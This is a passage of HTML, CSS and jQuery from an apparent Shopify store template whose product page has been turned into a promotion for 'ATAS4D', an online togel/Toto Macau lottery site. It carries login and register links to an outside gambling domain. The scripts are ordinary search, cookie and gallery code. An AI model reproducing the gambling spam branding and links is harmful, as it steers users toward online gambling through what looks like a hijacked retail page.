1982              <li class="skeleton-product-card">
1983                <div class="skeleton-product-image"></div>
1984                <div class="skeleton-product-title"></div>
1985                <div class="skeleton-product-price"></div>
1986              </li>
1987              <li class="skeleton-product-card">
1988                <div class="skeleton-product-image"></div>
1989                <div class="skeleton-product-title"></div>
1990                <div class="skeleton-product-price"></div>
1991              </li>
1992            `
1993            result_product.html(productSkeletonHTML)
1994
1995            // Render products immediately (without waiting for collections)
1996            setTimeout(() => {
1997              result_product.html('')
1998              let productCount = 0
1999              for(let i=0; i<product_length && productCount < 6; i++){
2000                const product = products[i]
2001                const title = product.title
2002                const url = product.url
2003                const image = product.featured_image.url
2004                const vendor = product.vendor
2005                const price = product.price
2006                const formattedPrice = new Intl.NumberFormat('id-ID', { style: 'currency', currency: 'IDR', minimumFractionDigits: 0 }).format(price)
2007                
2008                // Filter out excluded products
2009                if(vendor === 'AIA' || vendor === 'AXA' || vendor === 'WOM Finance') continue
2010                if(title.includes('Extra Shipping Cost') || title.includes('[US]') || title.includes('Rp')) continue
2011                
2012                const html_product = `
2013                  <li class="item" data-vendor="${vendor}">
2014                    <a href="${url}" class="item_url" data-type="product" data-title="${title}" data-url="${url}">
2015                      <div class="product-card-search">
2016                        <img src="${image}" alt="${title}" class="product-image-search">
2017                        <div class="product-info-search">
2018                          <div class="product-title-search">${title}</div>
2019                          <div class="product-price-search">${formattedPrice}</div>
2020                        </div>
2021                      </div>
2022                    </a>
2023                  </li>
2024                `
2025                result_product.append(html_product)
2026                productCount++
2027              }
2028            }, 100)
2029
2030            // Collect unique collections first
2031            const addedTitles = new Set()
2032            const addedHandles = new Set()
2033            const validCollections = []
2034            
2035            for(let i=0; i<collection_length && validCollections.length < 10; i++){
2036              const title = collections[i].title
2037              const titleLower = title.toLowerCase()
2038              const handle = collections[i].handle
2039              const url = collections[i].url
2040              
2041              // Skip if title or handle already added, or if title includes excluded terms
2042              if(addedTitles.has(titleLower) || addedHandles.has(handle)) continue
2043              if(title.includes('AIA') || title.includes('AXA') || title.includes('WOM') || title.includes('Upsell')) continue
2044              
2045              const count = await getCollectionProductCount(handle)
2046              
2047              // Only add if collection has products
2048              if(count > 0) {
2049                validCollections.push({ title, url })
2050                addedTitles.add(titleLower)
2051                addedHandles.add(handle)
2052              }
2053            }
2054
2055            // Clear skeleton and render all collections at once
2056            result_collection.html('')
2057            validCollections.forEach(collection => {
2058              const html_collection = `
2059                <li class="item" data-title="${collection.title}">
2060                  <a href="${collection.url}" data-type="collection" class="item_url" data-title="${collection.title}" data-url="${collection.url}">${collection.title}</a>
2061                </li>
2062              `
2063              result_collection.append(html_collection)
2064            })
2065        },
2066        error: function(xhr) { // if error occured
2067            alert("Error occured.please try again");
2068        },
2069        complete: function(response) {
2070            // $(placeholder).removeClass('loading');
2071        },
2072        dataType: 'JSON'
2073      });
2074    } else {
2075      result_collection.html("")
2076      result_product.html("")
2077      
2078      resultsearch.hide()
2079      resultrecommend.show()
2080    }
2081  })
2082
2083  moreresult.click(function(){
2084    $("#search-btn").trigger("click");
2085  })
2086
2087  $(".close-search").click(function(){
2088    $(this).hide()
2089    searchInput.val("")
2090    searchInput.focus()
2091    resultsearch.hide()
2092    resultrecommend.show()
2093  })
2094
2095  function setCookie(name,value,days) {
2096    var expires = "";
2097    if (days) {
2098      var date = new Date();
2099      date.setTime(date.getTime() + (days*24*60*60*1000));
2100      expires = "; expires=" + date.toUTCString();
2101    }
2102    document.cookie = name + "=" + (value || "")  + expires + "; path=/";
2103  }
2104  function getCookie(name) {
2105    var nameEQ = name + "=";
2106    var ca = document.cookie.split(';');
2107    for(var i=0;i < ca.length;i++) {
2108      var c = ca[i];
2109      while (c.charAt(0)==' ') c = c.substring(1,c.length);
2110      if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
2111    }
2112    return null;
2113  }
2114  let last_search_name = []
2115  let last_search_url = []
2116  $(".group-recent").hide()
2117  if(getCookie("last_search_name") != null && getCookie("last_search_url") != null){
2118    if(getCookie("last_search_name") != "" && getCookie("last_search_url") != ""){
2119      $(".group-recent").show()
2120      last_search_name = getCookie("last_search_name");
2121      last_search_url = getCookie("last_search_url");
2122      const arrName = last_search_name.substring(1).split(',').reverse()
2123      const arrUrl = last_search_url.substring(1).split(',').reverse()
2124      console.log(arrName, 'Array Name')
2125      console.log(arrUrl, 'Array Url')
2126      let length = arrName.length
2127      if(arrName.length > 5) {
2128        length = 5
2129      }
2130      for(let n=0;n<length;n++){
2131        let html2 = `<li><svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><title/><path d="M12.25,2A9.81,9.81,0,0,0,4.77,5.46L3.41,4.25a1,1,0,0,0-1.07-.16A1,1,0,0,0,1.75,5V9a1,1,0,0,0,1,1h4.5a1,1,0,0,0,.93-.64,1,1,0,0,0-.27-1.11L6.26,6.78a7.86,7.86,0,0,1,6-2.78A8,8,0,1,1,4.72,14.67a1,1,0,0,0-1.89.66A10,10,0,1,0,12.25,2Z" fill="#C9C9C9"/><path d="M16,16a1,1,0,0,1-.6-.2l-4-3A1,1,0,0,1,11,12V8a1,1,0,0,1,2,0v3.5l3.6,2.7a1,1,0,0,1,.2,1.4A1,1,0,0,1,16,16Z" fill="#C9C9C9"/></svg><a href="${arrUrl[n]}">
2131${arrName[n]}</a><span data-title="${arrName[n]}" data-url="${arrUrl[n]}"></span></li>`
2132        $(".group-recent ul").append(html2)
2133      }
2134    }
2135  }
2136  console.log(last_search_name, 'Name')
2137  console.log(last_search_url, 'url')
2138  
2139  resultsearch.delegate(".item a", "click", function(){
2140    let name = [last_search_name]
2141    let url = [last_search_url]
2142    name.push($(this).attr('data-title'))
2143    url.push($(this).attr('data-url'))
2144    setCookie("last_search_name",name,7);
2145    setCookie("last_search_url",url,7);
2146  })
2147  
2148  $(".delete-all-history").click(function() {
2149    setCookie("last_search_name",null,0);
2150    setCookie("last_search_url",null,0);
2151    $(".last-search").hide();
2152    setTimeout(function(){
2153      location.reload();
2154    }, 500);
2155  })
2156  
2157  $("#search-trigger").click(function(){
2158    search_open()
2159  })
2160  $(".icon-search-mobile").click(function(){
2161    search_open()
2162  })
2163  $(".search-header svg").click(function(){
2164    search_close()
2165  })
2166  $(".icon-key-mobile").click(function(){
2167    search_close()
2168  })
2169
2170  function search_open() {
2171    $("body").addClass("search-popup-open")
2172    $("#nav-mobile-icon, .search-header label, .icon-search-mobile").hide()
2173    $("#search-popup, .search-header svg, .icon-key-mobile").show()
2174    $(".search-popup").focus()
2175    $('.popup-recommend')[0].swiper.update();
2176  }
2177  function search_close() {
2178    $("body").removeClass("search-popup-open")
2179    $("#nav-mobile-icon, .search-header label, .icon-search-mobile").show()
2180    $("#search-popup, .search-header svg, .icon-key-mobile").hide()
2181    searchInput.val("")
2182    resultsearch.hide()
2183    resultrecommend.show()
2184  }
2185
2186  $(".site-overlay").click(function(){
2187    search_close()
2188  })
2189</script>
2189
2190
2191</div>
2192    </div>
2193 <div class="button-login-daftar">
2194                     <a class="login" href="https://biz.platformatas4d.eu.com/game/" rel="nofollow noreferrer" style="color: black;">
2195                         LOGIN IN ATAS4D
2196                     </a>
2197                     <a class="register" href="https://biz.platformatas4d.eu.com/game/" rel="nofollow noreferrer" style="color: black;">
2198                         DAFTAR IN ATAS4D
2199                     </a>
2200</div>        
2201    <div id="PageContainer" class="is-moved-by-drawerx">
2202      <main class="main-content pt-0" role="main">
2203        
2204          <div id="breadcrumbProduct" class="d-none d-lg-block">
2205            <style>
2206  #breadcrumbProduct {
2207    padding: 20px 0;
2208  }
2209  #breadcrumbProduct ul {
2210      display: flex;
2211      padding: 0;
2212      list-style: none;
2213      margin: 0;
2214      gap: 12px;
2215  }
2216  #breadcrumbProduct ul li {
2217    text-transform: uppercase;
2218    margin: 0;
2219    font-size: 12px;
2220}
2221  #breadcrumbProduct ul li a {
2222    color: #757575;
2223  }
2224
2225  #breadcrumbProduct ul li svg {
2226    width: 10px;
2227    height: 10px;
2228    padding: 0;
2229    color: #757575;
2230    vertical-align: middle;
2231  }
2232.button-login-daftar {
2233                         display: grid;
2234                         grid-template-columns: repeat(2, 1fr);
2235                         font-weight: 700;
2236                     }
2237                     .button-login-daftar a {
2238                         text-align: center;
2239                         text-decoration:none;
2240                     }
2241                     .login,
2242                     .register {
2243                         color: #fff;
2244                         padding: 15px 10px;
2245                         font-size: 23px;
2246                     }
2247                     .login,
2248                     .login-button {
2249                         background: linear-gradient(to bottom,#B0BBCF 0,#DDE5F0 100%);
2250                         border: 1px solid #DDE5F0;
2251                     }
2252                     .register,
2253                     .register-button {
2254                         background: linear-gradient(to bottom,#B0BBCF 0,#DDE5F0 100%);
2255                         border: 1px solid #DDE5F0;
2256                     }  
2257</style>
2258
2259<div class="container">
2260  <ul role="navigation" aria-label="breadcrumbs">
2261      
2262    <li><a href="https://atas4d.biz/">ATAS4D</a></li>
2263    <li><svg class="icon icon-chevron-right" xmlns="http://www.w3.org/2000/svg" width="7" height="10" viewBox="0 0 7 10" fill="none">
2264    <path d="M1.51673 0.0583496L6.2334 4.77502L1.51673 9.49168L0.933398 8.90002L5.0584 4.77502L0.933398 0.650016L1.51673 0.0583496Z" fill="#757575"/>
2265</svg></li>
2266    
2267      
2268      <li>ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap</li>
2269    
2270  </ul>
2271</div>
2272
2273          </div>
2274  
2275
2276        
2277<div id="shopify-section-Product" class="shopify-section product-section mt-0"><link href="https://outerbloom.com/cdn/shop/t/138/assets/product.css?v=124213504851328585011771028916" rel="stylesheet" type="text/css" media="all" />
2278
2279
2280
2281
2282<!-- /templates/product.liquid -->
2283
2284
2285<!-- <div itemscope itemtype="http://schema.org/Product"> -->
2286
2287
2288
2289
2290
2291
2292<div class="product-parcel-inhouse" data-product-type="hampers">
2293  <meta itemprop="url" content="https://atas4d.biz/">
2294  <meta itemprop="image" content="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
2295
2296  
2297  
2298  <input id="data-sku" type="hidden" value="[C]ATAS4D">
2299  <div class="product-single">
2300    <div id="product-top" class="container">
2301      <div class="row bg-card product-sticky">
2302        <div id="product-image" class="col-lg-7 text-center">
2303          <div class="product-image">
2304            <div class="row no-gutters">
2305  
2306  <div id="product-featured-image" class="row w-100">
2307    
2308      <div id="thumb-image-product" class="col-lg-2 col-12 d-none d-lg-block">
2309        
2310          <div class="swiper-button-prev carousel-button-prev d-lg-none"><svg class="icon icon-chevron-left" xmlns="http://www.w3.org/2000/svg" width="7" height="12" viewBox="0 0 7 12"> <circle cx="60%" cy="50%" r="12" fill="transparent" /> <path d="M6.35355339,10.6464466 C6.54881554,10.8417088 6.54881554,11.1582912 6.35355339,11.3535534 C6.15829124,11.5488155 5.84170876,11.5488155 5.64644661,11.3535534 L0.646446609,6.35355339 C0.451184464,6.15829124 0.451184464,5.84170876 0.646446609,5.64644661 L5.64644661,0.646446609 C5.84170876,0.451184464 6.15829124,0.451184464 6.35355339,0.646446609 C6.54881554,0.841708755 6.54881554,1.15829124 6.35355339,1.35355339 L1.70710678,6 L6.35355339,10.6464466 Z"/> </svg></div>
2311        
2312        <div class="swiper-container gallery-thumbs" style="min-height: 500px">
2313          <ul class="list-unstyled slider swiper-wrapper slider-nav ProductThumbs thumbnails" id="ProductThumbsx">
2314
2315                  <li class="swiper-slide" data-type="image">
2316                    <a
2317                      href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2318                      data-standard="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2319                      data-image="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2320                      data-position="1"
2321                      class="product-single__thumbnail"
2322                    >
2323                      <img
2324                        class="lazyload w-100"
2325                        src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2326                        alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2327                        width=""
2328                        height=""
2329                      >
2330                    </a>
2331                  </li>
2332                
2333              
2334            
2335
2336                <li class="swiper-slide" data-type="video">
2337                  <a
2338                    href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2339                    data-standard="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2340                    data-video="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2341                    data-position="2"
2342                    class="product-single__thumbnail"
2343                  >
2344                    <img
2345                      class="lazyload"
2346                      src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2347                      data-src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2348                      alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2349                      width=""
2350                      height=""
2351                    >
2352                  </a>
2353                </li>
2354              
2355            
2356
2357                  <li class="swiper-slide" data-type="image">
2358                    <a
2359                      href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2360                      data-standard="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2361                      data-image="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2362                      data-position="3"
2363                      class="product-single__thumbnail"
2364                    >
2365                      <img
2366                        class="lazyload w-100"
2367                        src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2368                        alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2369                        width=""
2370                        height=""
2371                      >
2372                    </a>
2373                  </li>
2374                
2375              
2376            
2377
2378                  <li class="swiper-slide" data-type="image">
2379                    <a
2380                      href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2381                      data-standard="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2382                      data-image="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2383                      data-position="4"
2384                      class="product-single__thumbnail"
2385                    >
2386                      <img
2387                        class="lazyload w-100"
2388                        src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2389                        alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2390                        width=""
2391                        height=""
2392                      >
2393                    </a>
2394                  </li>
2395                
2396              
2397            
2398
2399                  <li class="swiper-slide" data-type="image">
2400                    <a
2401                      href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2402                      data-standard="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2403                      data-image="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2404                      data-position="5"
2405                      class="product-single__thumbnail"
2406                    >
2407                      <img
2408                        class="lazyload w-100"
2409                        src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2410                        alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2411                        width=""
2412                        height=""
2413                      >
2414                    </a>
2415                  </li>
2416                
2417              
2418            
2419
2420                  <li class="swiper-slide" data-type="image">
2421                    <a
2422                      href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2423                      data-standard="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2424                      data-image="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2425                      data-position="6"
2426                      class="product-single__thumbnail"
2427                    >
2428                      <img
2429                        class="lazyload w-100"
2430                        src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2431                        alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2432                        width=""
2433                        height=""
2434                      >
2435                    </a>
2436                  </li>
2437                
2438              
2439            
2440
2441                  <li class="swiper-slide" data-type="image">
2442                    <a
2443                      href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2444                      data-standard="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2445                      data-image="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2446                      data-position="7"
2447                      class="product-single__thumbnail"
2448                    >
2449                      <img
2450                        class="lazyload w-100"
2451                        src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2452                        alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2453                        width=""
2454                        height=""
2455                      >
2456                    </a>
2457                  </li>
2458                
2459              
2460            
2461
2462                  <li class="swiper-slide" data-type="image">
2463                    <a
2464                      href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2465                      data-standard="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2466                      data-image="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2467                      data-position="8"
2468                      class="product-single__thumbnail"
2469                    >
2470                      <img
2471                        class="lazyload w-100"
2472                        src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2473                        alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2474                        width=""
2475                        height=""
2476                      >
2477                    </a>
2478                  </li>
2479                
2480              
2481            
2482          </ul>
2483        </div>
2484        
2485          <div class="swiper-button-next carousel-button-next d-lg-none"><svg class="icon icon-chevron-right" xmlns="http://www.w3.org/2000/svg" width="7" height="10" viewB
2485ox="0 0 7 10" fill="none">
2486    <path d="M1.51673 0.0583496L6.2334 4.77502L1.51673 9.49168L0.933398 8.90002L5.0584 4.77502L0.933398 0.650016L1.51673 0.0583496Z" fill="#757575"/>
2487</svg></div>
2488        
2489      </div>
2490    
2491    <div
2492      id="featured-image-product"
2493      class="col-lg-10 col-12 d-none d-lg-block"
2494    >
2495      <div class="swiper-container gallery-top">
2496        <div class="swiper-slide product-single__image">
2497          
2498<div class="position-relative product-single__photos slider slider-for" id="ProductPhoto">
2499  
2500
2501  <div class="easyzoom easyzoom--overlay easyzoom--with-thumbnails">
2502    <a href="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
2503      <img
2504        src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2505        alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2506        id="ProductPhotoImg"
2507        class="lazyload"
2508      >
2509      
2510    </a>
2511  </div>
2512    
2513  
2514</div>
2515
2516        </div>
2517        <div class="swiper-slide product-single__video" style="display: none">
2518          <video
2519            src="https://atas4d.biz/images/game-online.mp4"
2520            playsinline
2521            loop
2522            muted
2523          ></video>
2524        </div>
2525      </div>
2526    </div>
2527  </div>
2528
2529  <div id="featured-image-product2" class="col-12 d-lg-none">
2530    <div class="swiper-container gallery-mobile">
2531      <ul class="swiper-wrapper">
2532<li class="swiper-slide img">
2533              
2534                <img
2535                  class="swiper-lazy"
2536                  src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2537                  data-src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2538                  alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2539                  width=""
2540                  height=""
2541                >
2542              
2543            </li>
2544          
2545        
2546
2547            <li class="swiper-slide vid">
2548              <video height="100%" src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp" playsinline loop autoplay muted></video>
2549            </li>
2550          
2551        
2552<li class="swiper-slide img">
2553              
2554                <img
2555                  class="swiper-lazy"
2556                  src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2557                  data-src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2558                  alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2559                  width=""
2560                  height=""
2561                >
2562              
2563            </li>
2564          
2565        
2566<li class="swiper-slide img">
2567              
2568                <img
2569                  class="swiper-lazy"
2570                  src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2571                  data-src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2572                  alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2573                  width=""
2574                  height=""
2575                >
2576              
2577            </li>
2578          
2579        
2580<li class="swiper-slide img">
2581              
2582                <img
2583                  class="swiper-lazy"
2584                  src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2585                  data-src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2586                  alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2587                  width=""
2588                  height=""
2589                >
2590              
2591            </li>
2592          
2593        
2594<li class="swiper-slide img">
2595              
2596                <img
2597                  class="swiper-lazy"
2598                  src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2599                  data-src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2600                  alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2601                  width=""
2602                  height=""
2603                >
2604              
2605            </li>
2606          
2607        
2608<li class="swiper-slide img">
2609              
2610                <img
2611                  class="swiper-lazy"
2612                  src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2613                  data-src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2614                  alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2615                  width=""
2616                  height=""
2617                >
2618              
2619            </li>
2620          
2621        
2622<li class="swiper-slide img">
2623              
2624                <img
2625                  class="swiper-lazy"
2626                  src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2627                  data-src="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp"
2628                  alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
2629                  width=""
2630                  height=""
2631                >
2632              
2633            </li>
2634          
2635        
2636      </ul>
2637      
2638      
2639        <div class="swiper-button-prev"><svg class="icon icon-chevron-left" xmlns="http://www.w3.org/2000/svg" width="7" height="12" viewBox="0 0 7 12"> <circle cx="60%" cy="50%" r="12" fill="transparent" /> <path d="M6.35355339,10.6464466 C6.54881554,10.8417088 6.54881554,11.1582912 6.35355339,11.3535534 C6.15829124,11.5488155 5.84170876,11.5488155 5.64644661,11.3535534 L0.646446609,6.35355339 C0.451184464,6.15829124 0.451184464,5.84170876 0.646446609,5.64644661 L5.64644661,0.646446609 C5.84170876,0.451184464 6.15829124,0.451184464 6.35355339,0.646446609 C6.54881554,0.841708755 6.54881554,1.15829124 6.35355339,1.35355339 L1.70710678,6 L6.35355339,10.6464466 Z"/> </svg></div>
2640        <div class="swiper-button-next"><svg class="icon icon-chevron-right" xmlns="http://www.w3.org/2000/svg" width="7" height="10" viewB
2640ox="0 0 7 10" fill="none">
2641    <path d="M1.51673 0.0583496L6.2334 4.77502L1.51673 9.49168L0.933398 8.90002L5.0584 4.77502L0.933398 0.650016L1.51673 0.0583496Z" fill="#757575"/>
2642</svg></div>
2643
2644        <!-- Add Pagination -->
2645        <div class="swiper-pagination"></div>
2646      
2647    </div>
2648  </div>
2649
2650  <div class="product-m-pageleb-video col-12 text-center d-lg-none">
2651    <!-- product video -->
2652    <style>
2653      .view-video{display:block; margin:auto; padding:5px 10px;font-size:16px;font-weight:bold;border:2px solid #212121;background:#fff;}
2654      .view-video .icon-play{fill:#212121;vertical-align: middle;}
2655      .video-modal{display:none;position:fixed;background: rgba(0,0,0,.5); width:100%; height:100%; overflow:auto; z-index:1; top:0;left:0;}
2656      .close-video{position:absolute;right:9px; top:8%;z-index:2;padding:5px;}
2657      .close-video .icon{width:30px;height:30px;}
2658      .video-container {position: relative;padding-bottom: 48.25%;padding-top: 35px;height: 0;box-shadow: 0 4px 5px 0 rgba(0,0,0,0.14), 0 1px 10px 0 rgba(0,0,0,0.12), 0 2px 4px -1px rgba(0,0,0,0.3);}
2659      .video-container iframe {position: absolute;top:60%;left: 0;width: 100%;height: 100%;}
2660
2661      .youtube {
2662        background-color: #000;
2663        margin-bottom: 30px;
2664        position: relative;
2665        padding-top: 56.25%;
2666        overflow: hidden;
2667        cursor: pointer;
2668        width: 100%;
2669      }
2670      .swiper-slide .youtube {
2671        max-width: 480px;
2672      }
2673      .youtube img {
2674        width: 100%;
2675        top: -16.82%;
2676        left: 0;
2677        opacity: 0.7;
2678      }
2679      .youtube .play-button {
2680        width: 90px;
2681        height: 60px;
2682        background-color: #333;
2683        box-shadow: 0 0 30px rgba( 0,0,0,0.6 );
2684        z-index: 1;
2685        opacity: 0.8;
2686        border-radius: 6px;
2687      }
2688      .youtube .play-button:before {
2689        content: "";
2690        border-style: solid;
2691        border-width: 15px 0 15px 26.0px;
2692        border-color: transparent transparent transparent #fff;
2693      }
2694      .youtube img,
2695      .youtube .play-button {
2696        cursor: pointer;
2697      }
2698      .youtube img,
2699      .youtube iframe,
2700      .youtube .play-button,
2701      .youtube .play-button:before {
2702        position: absolute;
2703      }
2704      .youtube .play-button,
2705      .youtube .play-button:before {
2706        top: 50%;
2707        left: 50%;
2708        transform: translate3d( -50%, -50%, 0 );
2709      }
2710      .youtube iframe {
2711        height: 100%;
2712        width: 100%;
2713        top: 0;
2714        left: 0;
2715      }
2716    </style>
2717
2718    
2719  </div>
2720</div>
2721
2722
2723  
2724
2725  
2726
2727  
2728
2729  
2730
2731  
2732
2733  
2734
2735  
2736
2737
2738<div class="product-desc-add position-relative d-none d-lg-block m-0">
2739  
2740  
2741      
2742      
2743  
2744
2745  
2746      
2747      
2748  
2749
2750  
2751      
2752      
2753  
2754
2755  
2756      
2757      
2758  
2759
2760  
2761      
2762      
2763  
2764
2765  
2766      
2767      
2768  
2769
2770  
2771      
2772      
2773  
2774
2775  
2776      
2777      
2778  
2779
2780  
2781      
2782      
2783  
2784
2785  
2786      
2787      
2788  
2789
2790  
2791      
2792      
2793  
2794
2795  
2796      
2797      
2798  
2799
2800
2801</div>
2802
2803<script>
2804  if ($(window).width() < 991) {
2805    var direction = 'horizontal'
2806  } else {
2807    var direction = 'vertical'
2808    $(".gallery-thumbs").height($("#ProductPhotoImg").height())
2809  }
2810  var swiper = new Swiper('.gallery-thumbs', {
2811    
2812    // loop: true,
2813    
2814    direction,
2815    slidesPerView: 4.5,
2816    spaceBetween: 12,
2817    navigation: {
2818      nextEl: '.swiper-button-next',
2819      prevEl: '.swiper-button-prev',
2820    }
2821  });
2822  
2823  var swiper = new Swiper('.gallery-mobile', {
2824    //loop: true,
2825    lazy: true,
2826    speed: 300,
2827    resistance : true,
2828    resistanceRatio : 0,
2829    freeModeMomentumRatio : 0.45,
2830    freeModeMomentumVelocityRatio : 1.5,
2831    navigation: {
2832      nextEl: '.swiper-button-next',
2833      prevEl: '.swiper-button-prev',
2834    },
2835    pagination: {
2836      el: '.swiper-pagination'
2837    },
2838    useCSS3Transforms: false,
2839    loop: false,
2840    on: {
2841      init: function () {
2842        console.log('swiper initialized');
2843        var currentVideo =  $("[data-swiper-slide-index=" + this.realIndex + "]").find("video");
2844        currentVideo.trigger('play');
2845      },
2846    },
2847  });
2848  var sliderVideos = $(".swiper-slide video");
2849  
2850  /* SWIPER API - Event will be fired after animation to other slide (next or previous) */
2851  swiper.on('slideChange', function () {
2852    console.log('slide changed');
2853    sliderVideos.each(function( index ) {
2854      this.currentTime = 0;
2855    });
2856    var prevVideo =  $(`[data-swiper-slide-index="${this.previousIndex}]"`).find("video");
2857    var currentVideo =  $(`[data-swiper-slide-index="${this.realIndex}"]`).find("video");
2858    prevVideo.trigger('stop');
2859    currentVideo.trigger('play');
2860  });
2861  
2862
2863  $("[data-video]").click(function(){
2864    const file = $(this).data("video")
2865    $(".product-single__video").show()
2866    $(".product-single__image").hide()
2867    $(".product-single__video").find("video").attr("src", file)
2868    $(".product-single__video").find("video")[0].play();
2869  })
2870  $("[data-image]").click(function(){
2871    $(".product-single__video").hide()
2872    $(".product-single__image").show()
2873    $(".product-single__video").find("video")[0].pause();
2874  })
2875
2876  $("#product-image .swiper-slide").each(function(){
2877    let width = $(this).width()
2878    $(this).height(width)
2879  })
2880
2881  $(window).resize(function() {
2882    $("#product-image .swiper-slide").each(function(){
